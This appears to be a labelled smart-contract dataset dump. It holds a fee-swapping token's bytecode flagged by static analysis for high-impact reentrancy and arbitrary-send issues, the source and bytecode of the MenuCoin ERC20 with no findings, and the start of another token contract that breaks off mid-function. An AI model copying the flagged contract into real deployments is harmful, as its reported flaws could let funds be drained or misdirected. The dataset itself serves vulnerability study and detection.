000000000000815250905090565b610d14610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d57600080fd5b60098110610d7a57600080fd5b8060088190555050565b6000610d98610d91610ee5565b84846110b8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e31610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a57600080fd5b6000479050610e98816117cb565b50565b6000610edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611837565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f54906125f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906124f4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ab9190612614565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906125d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f906124b4565b60405180910390fd5b600081116111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d2906125b4565b60405180910390fd5b6111e3610ca6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112515750611221610ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561146157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113015750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113a157600a5481106113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612554565b60405180910390fd5b5b60006113ac30610b02565b9050600c60159054906101000a900460ff161580156114195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114315750600c60169054906101000a900460ff165b1561145f5761143f816114d5565b6000479050670de0b6b3a7640000811061145d5761145c476117cb565b5b505b505b61146c83838361189a565b505050565b60008383111582906114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b09190612492565b60405180910390fd5b50600083856114c8919061294b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561150d5761150c612aa6565b5b60405190808252806020026020018201604052801561153b5781602001602082028036833780820191505090505b509050308160008151811061155357611552612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611f72565b8160018151811061164157611640612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116a830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161170c95949392919061262f565b600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b906124d4565b60405180910390fd5b60006117ae6118aa565b90506117c38184610e9b90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611833573d6000803e3d6000fd5b5050565b6000808311829061187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759190612492565b60405180910390fd5b506000838561188d919061274f565b9050809150509392505050565b6118a58383836118d5565b505050565b60008060006118b7611aa0565b915091506118ce8183610e9b90919063ffffffff16565b9250505090565b6000806000806000806118e787611b3b565b95509550955095509550955061194586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2681611c4b565b611a308483611d08565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d9190612614565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611aba91906127d3565b6305f5e100611ac991906128f1565b9050611afc6006600a611adc91906127d3565b6305f5e100611aeb91906128f1565b600554610e9b90919063ffffffff16565b821015611b2e576005546006600a611b1491906127d3565b6305f5e100611b2391906128f1565b935093505050611b37565b81819350935050505b9091565b6000806000806000806000806000611b588a600754600854611d42565b9250925092506000611b686118aa565b90506000806000611b7b8e878787611dd8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611be583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611471565b905092915050565b6000808284611bfc91906126f9565b905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890612534565b60405180910390fd5b8091505092915050565b6000611c556118aa565b90506000611c6c8284611e6190919063ffffffff16565b9050611cc081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1d82600554611ba390919063ffffffff16565b600581905550611d3881600654611bed90919063ffffffff16565b6006819055505050565b600080600080611d6e6064611d60888a611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611d986064611d8a888b611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611dc182611db3858c611ba390919063ffffffff16565b611ba390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611df18589611e6190919063ffffffff16565b90506000611e088689611e6190919063ffffffff16565b90506000611e1f8789611e6190919063ffffffff16565b90506000611e4882611e3a8587611ba390919063ffffffff16565b611ba390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e745760009050611ed6565b60008284611e8291906128f1565b9050828482611e91919061274f565b14611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612574565b60405180910390fd5b809150505b92915050565b600081359050611eeb81612dc5565b92915050565b600081519050611f0081612dc5565b92915050565b600081519050611f1581612ddc565b92915050565b600081359050611f2a81612df3565b92915050565b600081519050611f3f81612df3565b92915050565b600060208284031215611f5b57611f5a612ad5565b5b6000611f6984828501611edc565b91505092915050565b600060208284031215611f8857611f87612ad5565b5b6000611f9684828501611ef1565b91505092915050565b60008060408385031215611fb657611fb5612ad5565b5b6000611fc485828601611edc565b9250506020611fd585828601611edc565b9150509250929050565b600080600060608486031215611ff857611ff7612ad5565b5b600061200686828701611edc565b935050602061201786828701611edc565b925050604061202886828701611f1b565b9150509250925092565b6000806040838503121561204957612048612ad5565b5b600061205785828601611edc565b925050602061206885828601611f1b565b9150509250929050565b60006020828403121561208857612087612ad5565b5b600061209684828501611f06565b91505092915050565b6000602082840312156120b5576120b4612ad5565b5b60006120c384828501611f1b565b91505092915050565b6000806000606084860312156120e5576120e4612ad5565b5b60006120f386828701611f30565b935050602061210486828701611f30565b925050604061211586828701611f30565b9150509250925092565b600061212b8383612137565b60208301905092915050565b6121408161297f565b82525050565b61214f8161297f565b82525050565b6000612160826126b4565b61216a81856126d7565b9350612175836126a4565b8060005b838110156121a657815161218d888261211f565b9750612198836126ca565b925050600181019050612179565b5085935050505092915050565b6121bc81612991565b82525050565b6121cb816129d4565b82525050565b60006121dc826126bf565b6121e681856126e8565b93506121f68185602086016129e6565b6121ff81612ada565b840191505092915050565b60006122176023836126e8565b915061222282612af8565b604082019050919050565b600061223a602a836126e8565b915061224582612b47565b604082019050919050565b600061225d6022836126e8565b915061226882612b96565b604082019050919050565b60006122806017836126e8565b915061228b82612be5565b602082019050919050565b60006122a3601b836126e8565b91506122ae82612c0e565b602082019050919050565b60006122c6601a836126e8565b91506122d182612c37565b602082019050919050565b60006122e96021836126e8565b91506122f482612c60565b604082019050919050565b600061230c6020836126e8565b915061231782612caf565b602082019050919050565b600061232f6029836126e8565b915061233a82612cd8565b604082019050919050565b60006123526025836126e8565b915061235d82612d27565b604082019050919050565b60006123756024836126e8565b915061238082612d76565b604082019050919050565b612394816129bd565b82525050565b6123a3816129c7565b82525050565b60006020820190506123be6000830184612146565b92915050565b60006040820190506123d96000830185612146565b6123e66020830184612146565b9392505050565b60006040820190506124026000830185612146565b61240f602083018461238b565b9392505050565b600060c08201905061242b6000830189612146565b612438602083018861238b565b61244560408301876121c2565b61245260608301866121c2565b61245f6080830185612146565b61246c60a083018461238b565b979650505050505050565b600060208201905061248c60008301846121b3565b92915050565b600060208201905081810360008301526124ac81846121d1565b905092915050565b600060208201905081810360008301526124cd8161220a565b9050919050565b600060208201905081810360008301526124ed8161222d565b9050919050565b6000602082019050818103600083015261250d81612250565b9050919050565b6000602082019050818103600083015261252d81612273565b9050919050565b6000602082019050818103600083015261254d81612296565b9050919050565b6000602082019050818103600083015261256d816122b9565b9050919050565b6000602082019050818103600083015261258d816122dc565b9050919050565b600060208201905081810360008301526125ad816122ff565b9050919050565b600060208201905081810360008301526125cd81612322565b9050919050565b600060208201905081810360008301526125ed81612345565b9050919050565b6000602082019050818103600083015261260d81612368565b9050919050565b6000602082019050612629600083018461238b565b92915050565b600060a082019050612644600083018861238b565b61265160208301876121c2565b81810360408301526126638186612155565b90506126726060830185612146565b61267f608083018461238b565b9695505050505050565b600060208201905061269e600083018461239a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612704826129bd565b915061270f836129bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274457612743612a19565b5b828201905092915050565b600061275a826129bd565b9150612765836129bd565b92508261277557612774612a48565b5b828204905092915050565b6000808291508390505b60018511156127ca578086048111156127a6576127a5612a19565b5b60018516156127b55780820291505b80810290506127c385612aeb565b945061278a565b94509492505050565b60006127de826129bd565b91506127e9836129c7565b92506128167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b60008261282e57600190506128ea565b8161283c57600090506128ea565b8160018114612852576002811461285c5761288b565b60019150506128ea565b60ff84111561286e5761286d612a19565b5b8360020a91508482111561288557612884612a19565b5b506128ea565b5060208310610133831016604e8410600b84101617156128c05782820a9050838111156128bb576128ba612a19565b5b6128ea565b6128cd8484846001612780565b925090508184048111156128e4576128e3612a19565b5b81810290505b9392505050565b60006128fc826129bd565b9150612907836129bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129405761293f612a19565b5b828202905092915050565b6000612956826129bd565b9150612961836129bd565b92508282101561297457612973612a19565b5b828203905092915050565b600061298a8261299d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129df826129bd565b9050919050565b60005b83811015612a045780820151818401526020810190506129e9565b83811115612a13576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dce8161297f565b8114612dd957600080fd5b50565b612de581612991565b8114612df057600080fd5b50565b612dfc816129bd565b8114612e0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f088db1335f172d50bca03168c68c9ac55d303ce620ac0992a92fefe47265f4764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,787 |
0x40c9fa4bc8f85fa512b7ee6e96e3a54873181a2b
|
/**
*Submitted for verification at Etherscan.io on 2020-12-14
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.5;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract MenuCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () {
_name = "MenuCoin";
_symbol = "MENU";
_decimals = 18;
_mint(msg.sender, 1000000000000 * 10**uint(_decimals));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c578063a457c2d711610066578063a457c2d7146102a2578063a9059cbb146102ce578063dd62ed3e146102fa578063f2fde38b14610328576100ea565b8063715018a61461026c5780638da5cb5b1461027657806395d89b411461029a576100ea565b806323b872dd116100c857806323b872dd146101c6578063313ce567146101fc578063395093511461021a57806370a0823114610246576100ea565b806306fdde03146100ef578063095ea7b31461016c57806318160ddd146101ac575b600080fd5b6100f761034e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b0381351690602001356103e4565b604080519115158252519081900360200190f35b6101b4610401565b60408051918252519081900360200190f35b610198600480360360608110156101dc57600080fd5b506001600160a01b03813581169160208101359091169060400135610407565b61020461048e565b6040805160ff9092168252519081900360200190f35b6101986004803603604081101561023057600080fd5b506001600160a01b038135169060200135610497565b6101b46004803603602081101561025c57600080fd5b50356001600160a01b03166104e5565b610274610500565b005b61027e6105b4565b604080516001600160a01b039092168252519081900360200190f35b6100f76105c3565b610198600480360360408110156102b857600080fd5b506001600160a01b038135169060200135610624565b610198600480360360408110156102e457600080fd5b506001600160a01b03813516906020013561068c565b6101b46004803603604081101561031057600080fd5b506001600160a01b03813581169160200135166106a0565b6102746004803603602081101561033e57600080fd5b50356001600160a01b03166106cb565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103da5780601f106103af576101008083540402835291602001916103da565b820191906000526020600020905b8154815290600101906020018083116103bd57829003601f168201915b5050505050905090565b60006103f86103f1610836565b848461083a565b50600192915050565b60035490565b6000610414848484610926565b61048484610420610836565b61047f85604051806060016040528060288152602001610bb1602891396001600160a01b038a1660009081526002602052604081209061045e610836565b6001600160a01b031681526020810191909152604001600020549190610a83565b61083a565b5060019392505050565b60065460ff1690565b60006103f86104a4610836565b8461047f85600260006104b5610836565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906107d5565b6001600160a01b031660009081526001602052604090205490565b610508610836565b6000546001600160a01b0390811691161461056a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103da5780601f106103af576101008083540402835291602001916103da565b60006103f8610631610836565b8461047f85604051806060016040528060258152602001610c22602591396002600061065b610836565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610a83565b60006103f8610699610836565b8484610926565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6106d3610836565b6000546001600160a01b03908116911614610735576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661077a5760405162461bcd60e51b8152600401808060200182810382526026815260200180610b436026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008282018381101561082f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661087f5760405162461bcd60e51b8152600401808060200182810382526024815260200180610bfe6024913960400191505060405180910390fd5b6001600160a01b0382166108c45760405162461bcd60e51b8152600401808060200182810382526022815260200180610b696022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661096b5760405162461bcd60e51b8152600401808060200182810382526025815260200180610bd96025913960400191505060405180910390fd5b6001600160a01b0382166109b05760405162461bcd60e51b8152600401808060200182810382526023815260200180610b206023913960400191505060405180910390fd5b6109bb838383610b1a565b6109f881604051806060016040528060268152602001610b8b602691396001600160a01b0386166000908152600160205260409020549190610a83565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610a2790826107d5565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610b125760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ad7578181015183820152602001610abf565b50505050905090810190601f168015610b045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122092379171189efe23704b2643e722a29be836d9a69f3b80c66599a3ba924ca7dd64736f6c63430007050033
|
{"success": true, "error": null, "results": {}}
| 8,788 |
0x6afd9628ef194f2365f6de9c8cee8938dfd936ed
|
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
